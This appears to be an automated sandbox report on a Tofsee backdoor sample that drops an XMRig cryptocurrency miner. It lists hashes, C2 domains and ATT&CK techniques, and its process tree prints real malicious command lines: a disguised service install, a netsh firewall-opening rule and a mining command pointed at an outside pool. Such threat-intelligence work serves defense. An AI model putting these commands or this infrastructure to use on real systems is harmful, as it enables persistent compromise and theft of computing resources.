Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    06-06-2022 03:56

General

  • Target

    b5b87ea78993944a356f1b88b53b63a276acfe871ab7336dbc81dd0999a8d5fc.exe

  • Size

    262KB

  • MD5

    b1e7605bf0fe57d5cc5b0e57a7469a88

  • SHA1

    5e84a385b3458cacc7aa05f80b202e7557337e40

  • SHA256

    b5b87ea78993944a356f1b88b53b63a276acfe871ab7336dbc81dd0999a8d5fc

  • SHA512

    fa7440a23e00cc7cd9396a1237cbc650c2d84482ed85575a54ae092300d09d2482b5205af07ff76baab2e3a7cbe07aad6dccf323d058427fce5855fe6b0f8a83

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b5b87ea78993944a356f1b88b53b63a276acfe871ab7336dbc81dd0999a8d5fc.exe
    "C:\Users\Admin\AppData\Local\Temp\b5b87ea78993944a356f1b88b53b63a276acfe871ab7336dbc81dd0999a8d5fc.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4424
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\texdinrs\
      2⤵
        PID:3600
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hufkjghu.exe" C:\Windows\SysWOW64\texdinrs\
        2⤵
          PID:1640
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create texdinrs binPath= "C:\Windows\SysWOW64\texdinrs\hufkjghu.exe /d\"C:\Users\Admin\AppData\Local\Temp\b5b87ea78993944a356f1b88b53b63a276acfe871ab7336dbc81dd0999a8d5fc.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4540
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description texdinrs "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:788
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start texdinrs
          2⤵
          • Launches sc.exe
          PID:4708
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:760
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4424 -s 1036
          2⤵
          • Program crash
          PID:2064
      • C:\Windows\SysWOW64\texdinrs\hufkjghu.exe
        C:\Windows\SysWOW64\texdinrs\hufkjghu.exe /d"C:\Users\Admin\AppData\Local\Temp\b5b87ea78993944a356f1b88b53b63a276acfe871ab7336dbc81dd0999a8d5fc.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4280
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5084
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5072
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4280 -s 512
          2⤵
          • Program crash
          PID:5052
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4424 -ip 4424
        1⤵
          PID:4792
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4280 -ip 4280
          1⤵
            PID:3360

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\hufkjghu.exe
            Filesize

            10.2MB

            MD5

            25b1d41a3898688e1b8eefb9656fc20d

            SHA1

            285c5c44b583766734e186332ab909d1549df9ac

            SHA256

            7ca4a12291de93c92ff59fefb02c1dabf09c56436eaa9c29f50b13bbc2fdda85

            SHA512

            dfbdb9fe09b2e735525f34b45fa1cb0a454211ef84ac4b64c29bbc5d5f05d85b81cebe2fdd13a843d7bde7cbe209e845ea41f2cd92c28d558d59060af5dda94b

          • C:\Windows\SysWOW64\texdinrs\hufkjghu.exe
            Filesize

            10.2MB

            MD5

            25b1d41a3898688e1b8eefb9656fc20d

            SHA1

            285c5c44b583766734e186332ab909d1549df9ac

            SHA256

            7ca4a12291de93c92ff59fefb02c1dabf09c56436eaa9c29f50b13bbc2fdda85

            SHA512

            dfbdb9fe09b2e735525f34b45fa1cb0a454211ef84ac4b64c29bbc5d5f05d85b81cebe2fdd13a843d7bde7cbe209e845ea41f2cd92c28d558d59060af5dda94b

          • memory/760-139-0x0000000000000000-mapping.dmp
          • memory/788-137-0x0000000000000000-mapping.dmp
          • memory/1640-133-0x0000000000000000-mapping.dmp
          • memory/3600-132-0x0000000000000000-mapping.dmp
          • memory/4280-150-0x0000000000400000-0x0000000002DB8000-memory.dmp
            Filesize

            41.7MB

          • memory/4280-148-0x0000000002F5E000-0x0000000002F6E000-memory.dmp
            Filesize

            64KB

          • memory/4424-142-0x0000000002F20000-0x0000000002F33000-memory.dmp
            Filesize

            76KB

          • memory/4424-141-0x0000000002FB2000-0x0000000002FC2000-memory.dmp
            Filesize

            64KB

          • memory/4424-143-0x0000000000400000-0x0000000002DB8000-memory.dmp
            Filesize

            41.7MB

          • memory/4424-130-0x0000000002FB2000-0x0000000002FC2000-memory.dmp
            Filesize

            64KB

          • memory/4424-135-0x0000000000400000-0x0000000002DB8000-memory.dmp
            Filesize

            41.7MB

          • memory/4424-131-0x0000000002F20000-0x0000000002F33000-memory.dmp
            Filesize

            76KB

          • memory/4540-136-0x0000000000000000-mapping.dmp
          • memory/4708-138-0x0000000000000000-mapping.dmp
          • memory/5072-170-0x0000000000000000-mapping.dmp
          • memory/5072-176-0x0000000000CB0000-0x0000000000DA1000-memory.dmp
            Filesize

            964KB

          • memory/5072-171-0x0000000000CB0000-0x0000000000DA1000-memory.dmp
            Filesize

            964KB

          • memory/5084-144-0x0000000000000000-mapping.dmp
          • memory/5084-152-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/5084-155-0x0000000001BF0000-0x0000000001BF6000-memory.dmp
            Filesize

            24KB

          • memory/5084-158-0x0000000002710000-0x0000000002720000-memory.dmp
            Filesize

            64KB

          • memory/5084-161-0x00000000029E0000-0x00000000029E5000-memory.dmp
            Filesize

            20KB

          • memory/5084-164-0x0000000007400000-0x000000000780B000-memory.dmp
            Filesize

            4.0MB

          • memory/5084-167-0x00000000029F0000-0x00000000029F7000-memory.dmp
            Filesize

            28KB

          • memory/5084-151-0x0000000000870000-0x0000000000885000-memory.dmp
            Filesize

            84KB

          • memory/5084-149-0x0000000000870000-0x0000000000885000-memory.dmp
            Filesize

            84KB

          • memory/5084-145-0x0000000000870000-0x0000000000885000-memory.dmp
            Filesize

            84KB